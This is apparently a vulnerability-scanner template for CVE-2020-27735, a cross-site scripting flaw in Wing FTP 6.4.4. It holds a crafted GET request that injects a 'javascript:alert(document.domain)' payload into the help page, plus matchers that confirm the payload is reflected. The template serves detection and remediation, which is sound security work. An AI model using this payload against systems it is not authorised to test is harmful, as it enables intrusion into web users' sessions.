id: CVE-2020-27735

info:
  name: Wing FTP 6.4.4 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Wing FTP 6.4.4 is vulnerable to cross-site scripting via its web interface because an arbitrary IFRAME element can be included in the help pages via a crafted link, leading to the execution of (sandboxed) arbitrary HTML and JavaScript in the user's browser.
  remediation: |
    Upgrade to the latest version of Wing FTP server or apply the vendor-provided patch to mitigate this vulnerability.
  reference:
    - https://www.wftpserver.com/serverhistory.htm
    - https://wshenk.blogspot.com/2021/01/xss-in-wing-ftps-web-interface-cve-2020.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27735
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-27735
    cwe-id: CWE-79
    epss-score: 0.00216
    epss-percentile: 0.59303
    cpe: cpe:2.3:a:wftpserver:wing_ftp_server:6.4.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wftpserver
    product: wing_ftp_server
  tags: cve,cve2020,xss,wing-ftp

http:
  - method: GET
    path:
      - "{{BaseURL}}/help/english/index.html?javascript:alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<frame name="hmcontent" src="javascript:alert(document.domain)" title="Content frame">'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200